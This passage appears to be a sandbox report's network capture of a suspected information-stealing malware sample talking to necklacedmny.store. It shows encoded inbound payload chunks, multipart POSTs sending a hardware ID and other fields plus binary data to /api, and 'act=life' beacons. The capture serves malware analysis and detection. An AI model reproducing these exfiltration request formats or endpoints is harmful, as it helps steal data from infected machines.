2024-11-01 02:46:33 UTC	1027	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9lu2o81r55601enpk7vcsclcfe; expires=Mon, 24-Feb-2025 20:33:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ddPoYOO%2Fey4z3Ba93xSLu1%2BhIVhU0IQJaUi%2FSHHK6kTe%2FgUj6D%2BElo6cYhHoX%2FmEq6cV650HBKVtAdz2Z6mmDA3DlOufFmKSKwYnesW6ba%2FT%2FEramH7Cw%2F3hekcg%2Bc3WF64iRD8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e160e5646d7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1871&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1553648&cwnd=251&unsent_bytes=0&cid=fb5fdfc1b12175cb&ts=496&x=0"
2024-11-01 02:46:33 UTC	342	IN	Data Raw: 34 34 36 63 0d 0a 75 44 72 4d 42 49 45 62 46 74 32 36 32 6f 4e 64 61 6c 38 46 4a 6b 6c 2b 45 43 42 76 52 54 51 56 79 37 43 32 50 6e 4c 35 71 54 48 44 47 4c 6f 6d 75 79 38 36 2f 38 6d 2f 6f 57 63 65 4c 58 42 44 5a 56 78 78 52 45 31 2f 55 6e 53 6e 77 39 4d 53 55 49 2f 45 45 34 4a 63 72 57 6a 79 66 6a 72 2f 33 36 4b 68 5a 7a 45 6b 4a 30 4d 6e 58 43 6f 43 43 69 39 57 64 4b 66 53 31 31 55 64 69 63 56 53 30 46 61 72 62 4f 52 34 63 72 7a 57 74 2b 59 34 44 7a 35 76 53 43 41 54 65 45 31 4e 61 52 5a 77 73 5a 4b 4d 48 44 2b 63 33 56 44 31 57 37 39 76 6f 32 59 36 70 70 69 2f 37 58 39 51 66 57 52 44 4b 78 4a 32 52 41 51 74 58 48 32 76 30 39 4a 55 41 70 44 50 57 64 42 59 71 47 33 75 63 57 61 78 33 4c 44 74 50 67 55 2b 4a 77 70 72 47 32 6f 43 56 57 63 46 52 61 72 44 78 Data Ascii: 446cuDrMBIEbFt262oNdal8FJkl+ECBvRTQVy7C2PnL5qTHDGLomuy86/8m/oWceLXBDZVxxRE1/UnSnw9MSUI/EE4JcrWjyfjr/36KhZzEkJ0MnXCoCCi9WdKfS11UdicVS0FarbOR4crzWt+Y4Dz5vSCATeE1NaRZwsZKMHD+c3VD1W79vo2Y6ppi/7X9QfWRDKxJ2RAQtXH2v09JUApDPWdBYqG3ucWax3LDtPgU+JwprG2oCVWcFRarDx
2024-11-01 02:46:33 UTC	1369	IN	Data Raw: 55 4a 7a 48 45 34 49 59 71 47 6a 69 64 48 53 74 30 4c 50 71 4f 68 6f 32 62 6b 6b 6d 48 48 39 49 41 69 52 57 63 4b 50 59 32 31 59 55 6c 73 5a 56 32 6c 6a 75 4b 4b 4e 2b 62 50 2b 41 2b 4d 49 36 47 44 70 72 55 6d 6b 6d 4d 6c 31 44 50 68 5a 77 70 5a 4b 4d 48 42 69 65 79 46 44 52 56 36 31 75 36 47 74 30 72 64 36 31 35 43 30 4f 4f 47 6c 4f 4b 41 35 34 54 41 73 6b 58 33 79 67 31 39 4e 59 55 4e 57 4c 56 4d 49 59 39 69 62 43 64 48 2b 7a 30 71 2f 68 66 78 64 7a 66 67 51 73 45 44 49 61 54 53 4e 58 63 36 6a 57 32 6c 49 55 6c 38 31 64 31 31 65 6f 62 4f 4e 2b 66 72 66 51 75 65 77 30 42 7a 31 69 53 53 38 61 66 6b 4d 49 5a 78 67 33 72 73 71 55 42 46 43 31 7a 46 44 49 47 70 74 6c 37 58 64 7a 71 5a 69 6e 72 79 5a 49 4f 6d 73 45 63 31 78 38 52 77 49 31 56 32 57 73 33 4d 5a Data Ascii: UJzHE4IYqGjidHSt0LPqOho2bkkmHH9IAiRWcKPY21YUlsZV2ljuKKN+bP+A+MI6GDprUmkmMl1DPhZwpZKMHBieyFDRV61u6Gt0rd615C0OOGlOKA54TAskX3yg19NYUNWLVMIY9ibCdH+z0q/hfxdzfgQsEDIaTSNXc6jW2lIUl81d11eobON+frfQuew0Bz1iSS8afkMIZxg3rsqUBFC1zFDIGptl7XdzqZinryZIOmsEc1x8RwI1V2Ws3MZ
2024-11-01 02:46:33 UTC	1369	IN	Data Raw: 31 37 56 47 70 74 6c 37 58 64 7a 71 5a 69 6e 72 79 5a 49 4f 6d 73 45 63 31 78 2b 53 77 30 73 58 48 4f 70 31 64 6c 5a 45 35 7a 49 58 74 31 53 6f 47 48 6e 64 58 32 79 33 72 6a 6d 4f 77 30 76 59 6b 30 6e 45 44 49 4d 54 53 42 4f 4e 2f 47 53 2b 31 73 47 6d 4f 52 51 79 31 48 75 65 61 31 67 4e 4c 6a 55 2b 4c 6c 2f 44 7a 68 76 54 79 30 55 63 6c 41 49 4b 56 31 32 6f 39 54 56 55 52 79 64 79 31 4c 61 58 71 4a 6d 35 48 35 6d 72 64 32 2b 38 7a 56 49 63 79 64 44 4d 31 77 71 41 6a 73 33 51 57 61 2f 6b 4f 46 66 48 70 58 4d 52 5a 70 48 34 48 2b 6a 66 6e 6a 2f 67 50 6a 71 50 77 51 36 62 30 49 76 46 48 31 4e 42 44 56 58 65 36 66 41 30 31 77 5a 6c 63 52 66 30 31 57 70 61 2b 68 7a 65 62 76 66 75 61 46 78 53 44 70 2f 42 48 4e 63 52 46 49 41 4b 33 68 38 70 64 75 55 51 31 36 43 Data Ascii: 17VGptl7XdzqZinryZIOmsEc1x+Sw0sXHOp1dlZE5zIXt1SoGHndX2y3rjmOw0vYk0nEDIMTSBON/GS+1sGmORQy1Huea1gNLjU+Ll/DzhvTy0UclAIKV12o9TVURydy1LaXqJm5H5mrd2+8zVIcydDM1wqAjs3QWa/kOFfHpXMRZpH4H+jfnj/gPjqPwQ6b0IvFH1NBDVXe6fA01wZlcRf01Wpa+hzebvfuaFxSDp/BHNcRFIAK3h8pduUQ16C
2024-11-01 02:46:33 UTC	1369	IN	Data Raw: 71 76 59 75 74 34 65 72 44 5a 76 4f 51 36 44 44 70 6a 51 69 52 63 50 41 49 4b 50 78 59 76 36 66 33 7a 61 56 4b 36 38 52 50 46 46 72 63 6d 35 48 55 30 35 35 69 30 34 6a 4d 41 4d 6d 46 4e 4a 78 5a 37 53 51 45 73 55 6e 75 67 31 39 4a 64 46 5a 37 4b 56 39 5a 53 71 47 58 67 64 6e 75 77 30 50 69 76 66 77 38 6c 4a 78 78 72 4f 57 56 4a 41 79 45 57 61 4f 66 4c 6c 46 73 63 32 35 4d 54 31 6c 47 6f 59 4f 5a 31 64 62 6e 51 76 65 6b 37 43 54 74 68 52 79 51 59 64 30 4d 43 49 31 70 35 6f 39 50 56 55 42 75 55 77 46 61 61 46 75 35 68 2b 7a 6b 73 2f 2b 6d 37 39 79 67 59 4d 53 64 62 5a 51 55 79 52 51 46 6e 44 6a 65 6f 77 4e 35 57 48 70 37 45 56 74 6c 58 71 57 76 6c 64 58 36 32 30 4c 37 75 4e 68 6f 2b 61 30 6f 73 45 6e 35 4d 41 43 31 56 65 75 6d 63 6c 46 73 49 32 35 4d 54 39 Data Ascii: qvYut4erDZvOQ6DDpjQiRcPAIKPxYv6f3zaVK68RPFFrcm5HU055i04jMAMmFNJxZ7SQEsUnug19JdFZ7KV9ZSqGXgdnuw0Pivfw8lJxxrOWVJAyEWaOfLlFsc25MT1lGoYOZ1dbnQvek7CTthRyQYd0MCI1p5o9PVUBuUwFaaFu5h+zks/+m79ygYMSdbZQUyRQFnDjeowN5WHp7EVtlXqWvldX620L7uNho+a0osEn5MAC1VeumclFsI25MT9
2024-11-01 02:46:33 UTC	1369	IN	Data Raw: 78 64 58 71 74 33 61 72 7a 66 30 5a 39 59 46 78 72 52 44 4a 30 43 6a 64 47 64 4f 76 6a 77 6c 38 47 6b 4d 5a 66 6d 6b 66 67 66 36 4e 2b 65 50 2b 41 2b 4f 63 77 41 54 35 6f 52 53 49 51 66 30 63 45 49 6c 64 78 72 64 6a 65 58 42 61 64 79 6c 62 51 57 36 39 73 36 6e 35 38 75 4e 75 71 6f 58 46 49 4f 6e 38 45 63 31 78 62 52 52 38 70 52 6a 65 32 6e 4d 30 63 46 35 65 4c 43 35 70 63 70 47 6e 6e 66 6e 69 35 33 62 37 73 50 67 63 38 5a 30 73 76 46 33 74 45 44 43 70 54 65 71 33 41 33 6c 63 66 6c 38 4a 66 31 78 6a 67 4a 75 52 68 4e 4f 65 59 69 65 77 78 42 6a 70 78 42 44 52 53 61 77 49 4b 4b 78 59 76 36 64 50 59 55 78 4f 55 79 46 44 62 55 72 78 30 37 33 42 38 75 74 53 7a 37 7a 6b 61 4f 32 68 4e 4b 42 39 37 52 51 55 72 58 48 53 75 6b 70 6f 63 46 34 4f 4c 43 35 70 37 75 58 Data Ascii: xdXqt3arzf0Z9YFxrRDJ0CjdGdOvjwl8GkMZfmkfgf6N+eP+A+OcwAT5oRSIQf0cEIldxrdjeXBadylbQW69s6n58uNuqoXFIOn8Ec1xbRR8pRje2nM0cF5eLC5pcpGnnfni53b7sPgc8Z0svF3tEDCpTeq3A3lcfl8Jf1xjgJuRhNOeYiewxBjpxBDRSawIKKxYv6dPYUxOUyFDbUrx073B8utSz7zkaO2hNKB97RQUrXHSukpocF4OLC5p7uX
2024-11-01 02:46:33 UTC	1369	IN	Data Raw: 2f 34 44 34 35 7a 59 4f 4f 6d 46 4b 4f 52 6c 30 54 51 49 75 58 33 4f 68 30 64 52 59 46 4a 7a 4f 55 4e 5a 54 71 57 58 73 66 58 32 78 30 62 65 68 63 55 67 36 66 77 52 7a 58 46 4e 5a 44 69 74 62 4e 37 61 63 7a 52 77 58 6c 34 73 4c 6d 6c 53 67 59 2b 4e 7a 63 72 76 64 76 75 73 36 43 44 5a 6b 53 79 38 61 64 6b 30 4e 4c 46 39 32 72 39 66 65 56 78 61 57 79 46 58 63 47 4f 41 6d 35 47 45 30 35 35 69 59 2b 6a 49 45 4f 69 64 62 5a 51 55 79 52 51 46 6e 44 6a 65 69 33 74 42 62 45 4a 62 49 57 39 39 63 70 47 50 6a 63 57 61 33 32 4c 2f 7a 4c 51 67 30 59 6b 67 6f 48 48 5a 45 42 43 46 56 63 2b 6d 63 6c 46 73 49 32 35 4d 54 39 31 53 70 54 2b 52 69 4e 4b 43 57 6f 61 45 34 42 48 30 2f 42 43 6f 58 65 45 30 41 4a 46 42 30 6f 74 66 65 58 52 65 54 78 6b 48 5a 56 36 46 69 34 33 5a Data Ascii: /4D45zYOOmFKORl0TQIuX3Oh0dRYFJzOUNZTqWXsfX2x0behcUg6fwRzXFNZDitbN7aczRwXl4sLmlSgY+Nzcrvdvus6CDZkSy8adk0NLF92r9feVxaWyFXcGOAm5GE055iY+jIEOidbZQUyRQFnDjei3tBbEJbIW99cpGPjcWa32L/zLQg0YkgoHHZEBCFVc+mclFsI25MT91SpT+RiNKCWoaE4BH0/BCoXeE0AJFB0otfeXReTxkHZV6Fi43Z
2024-11-01 02:46:33 UTC	1369	IN	Data Raw: 2b 49 74 47 6a 74 6b 55 69 68 62 54 48 77 71 4d 56 78 77 75 64 58 44 55 31 44 56 69 31 79 61 41 4a 63 6d 36 6e 35 76 72 73 36 31 38 54 68 49 41 69 6b 45 4d 31 77 71 41 6a 67 6b 57 48 6d 75 78 4d 55 52 4e 34 33 42 56 4d 70 66 75 57 6d 6a 4e 7a 53 35 6d 4f 43 79 63 55 67 35 64 67 52 7a 54 43 41 5a 57 48 51 42 4a 2f 76 4e 6d 6b 56 51 6a 59 73 4c 69 42 62 75 64 4b 4d 68 4e 50 6a 62 71 76 4d 35 43 79 74 6b 41 78 55 69 56 56 67 41 49 55 46 6d 6c 2b 7a 54 52 68 32 64 33 45 4b 57 54 61 31 6f 37 58 35 69 2f 35 62 34 37 6e 39 51 42 43 63 4d 61 79 4d 38 41 68 56 6e 44 6a 65 63 30 64 70 53 46 34 33 61 48 76 31 43 6f 32 44 30 61 44 54 78 6d 4c 36 68 5a 31 68 7a 4a 30 41 36 58 43 6f 53 58 33 77 44 4a 50 36 43 68 6b 4e 65 67 6f 74 46 6d 67 44 38 4b 4b 4e 72 4e 4f 65 59 Data Ascii: +ItGjtkUihbTHwqMVxwudXDU1DVi1yaAJcm6n5vrs618ThIAikEM1wqAjgkWHmuxMURN43BVMpfuWmjNzS5mOCycUg5dgRzTCAZWHQBJ/vNmkVQjYsLiBbudKMhNPjbqvM5CytkAxUiVVgAIUFml+zTRh2d3EKWTa1o7X5i/5b47n9QBCcMayM8AhVnDjec0dpSF43aHv1Co2D0aDTxmL6hZ1hzJ0A6XCoSX3wDJP6ChkNegotFmgD8KKNrNOeY
2024-11-01 02:46:33 UTC	1369	IN	Data Raw: 46 39 4c 77 51 55 55 6a 4a 61 54 58 38 57 51 71 72 63 32 6c 73 47 69 6f 5a 30 31 46 2b 76 63 50 4e 75 65 2f 2b 57 2b 4f 64 2f 55 47 38 70 42 43 38 4e 4d 68 70 64 64 51 30 69 2b 6f 57 45 44 67 2f 56 30 68 50 4d 47 50 59 30 72 54 6c 6d 2f 34 44 34 70 6a 77 61 4c 32 46 48 50 52 38 31 66 44 4d 41 57 48 43 6f 78 4d 52 4c 48 39 54 6c 5a 66 74 6d 6b 48 50 67 64 33 71 34 7a 71 6d 68 63 55 67 79 4a 78 77 53 58 44 6f 43 4d 6d 6b 57 62 2b 6d 4b 6c 47 6b 54 6c 63 56 55 7a 45 6e 6a 51 65 31 2b 64 61 6e 49 72 2b 35 77 4a 67 74 47 42 47 56 63 64 41 4a 56 64 52 67 33 72 63 4f 55 42 45 44 4a 6b 41 61 4a 44 2f 34 30 2f 44 64 74 2f 38 37 34 75 57 31 47 66 58 55 45 63 31 77 31 51 52 38 31 55 48 53 2f 30 5a 4e 69 4c 72 7a 46 56 4e 74 4f 76 6d 76 76 57 48 65 75 30 6f 62 66 4b Data Ascii: F9LwQUUjJaTX8WQqrc2lsGioZ01F+vcPNue/+W+Od/UG8pBC8NMhpddQ0i+oWEDg/V0hPMGPY0rTlm/4D4pjwaL2FHPR81fDMAWHCoxMRLH9TlZftmkHPgd3q4zqmhcUgyJxwSXDoCMmkWb+mKlGkTlcVUzEnjQe1+danIr+5wJgtGBGVcdAJVdRg3rcOUBEDJkAaJD/40/Ddt/874uW1GfXUEc1w1QR81UHS/0ZNiLrzFVNtOvmvvWHeu0obfK
2024-11-01 02:46:33 UTC	1369	IN	Data Raw: 36 42 67 35 31 55 67 35 6c 5a 33 71 74 78 4d 46 66 41 4a 7a 31 62 66 64 4b 71 58 62 67 4f 31 69 34 31 62 54 66 41 54 38 73 59 46 52 70 4f 6e 46 55 44 6d 63 59 4e 37 47 53 6a 42 77 39 69 63 78 44 32 52 71 43 59 65 35 31 4e 4b 43 57 6f 61 45 70 53 47 55 30 43 6d 73 4f 4d 68 70 4e 59 46 56 6c 75 39 54 58 53 68 50 63 39 57 33 33 53 71 6c 32 34 44 74 46 73 74 79 75 39 44 77 59 4f 6c 6c 36 42 67 35 31 55 67 35 6c 63 30 33 72 34 38 4a 66 45 4a 58 4d 45 35 51 59 74 69 61 37 4f 56 6d 74 33 36 6a 69 66 53 30 48 4a 58 55 39 48 33 4a 4d 43 6d 64 4a 4f 62 43 53 77 68 78 49 79 49 55 54 79 42 6a 32 4a 71 52 33 65 62 37 62 74 75 49 74 47 6a 74 6b 55 69 68 62 54 48 77 69 4c 46 64 6e 70 4d 50 5a 57 41 61 6c 39 58 54 63 58 61 6c 59 33 55 35 6c 75 4d 6a 36 78 7a 77 65 50 69 Data Ascii: 6Bg51Ug5lZ3qtxMFfAJz1bfdKqXbgO1i41bTfAT8sYFRpOnFUDmcYN7GSjBw9icxD2RqCYe51NKCWoaEpSGU0CmsOMhpNYFVlu9TXShPc9W33Sql24DtFstyu9DwYOll6Bg51Ug5lc03r48JfEJXME5QYtia7OVmt36jifS0HJXU9H3JMCmdJObCSwhxIyIUTyBj2JqR3eb7btuItGjtkUihbTHwiLFdnpMPZWAal9XTcXalY3U5luMj6xzwePi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	58543	188.114.97.3	443	5916	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:34 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-11-01 02:46:34 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:35 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=93d6isav8dc4afcmjv905vufi1; expires=Mon, 24-Feb-2025 20:33:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FM0Er%2BVcgYzvAp0SZzHiPvT4CLLnu76OHMFhwY%2Bym7cZ4ONVqR7FhTeZLjkmCUXBJDw5JMmXFPr3YG%2By5gC606DWTTm4iDgt%2F86bfXvHH8whyNZiRq0MqEf5uvnx5UbkBspmowE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e22397d2e6b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1772&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13806&delivery_rate=2466780&cwnd=251&unsent_bytes=0&cid=b5fe0c51b3e1355a&ts=513&x=0"
2024-11-01 02:46:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	58545	188.114.97.3	443	5916	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:36 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-11-01 02:46:36 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:36 UTC	1027	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tk3tc4bkjce7qqd094bknfk7dd; expires=Mon, 24-Feb-2025 20:33:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EGR9pPie%2FefziqL1yPmD9dDUS%2F6fRPFU0NZrVSKFLT%2BUlw2nldWAsO%2Fd7zn%2BZGH1EU4hhDlE9v6D2Og%2Bxvl3tavxzG%2FuaRisRpJSI6tNGADbZDmcMy0%2B9hhGbEECF9ydJR5Hos8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e2de8ac2e73-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1327&sent=13&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16052&delivery_rate=2148367&cwnd=242&unsent_bytes=0&cid=f9f80cff035ae424&ts=720&x=0"
2024-11-01 02:46:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	58547	188.114.97.3	443	5916	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:38 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-11-01 02:46:38 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:38 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-11-01 02:46:38 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=otps7ctsc6n3f9f47an0smjj0v; expires=Mon, 24-Feb-2025 20:33:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KMqM%2BhX6dSlx%2FgEQiIbV5CtGhA6lkNzkuaVUPj2tUj2v6gifhbDnUvHrd288Z3NHSKTlTWnov7OYKwNeouW4cu5j6bTaLOmPjXO6joxhM0FFcmkSd3V%2FG2rQ7A5MTmgMl8leP1E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e3969db2d4a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1525&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=20932&delivery_rate=1889106&cwnd=251&unsent_bytes=0&cid=a80185afb07acd0c&ts=674&x=0"
2024-11-01 02:46:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	58554	188.114.97.3	443	4600	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:42 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 02:46:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
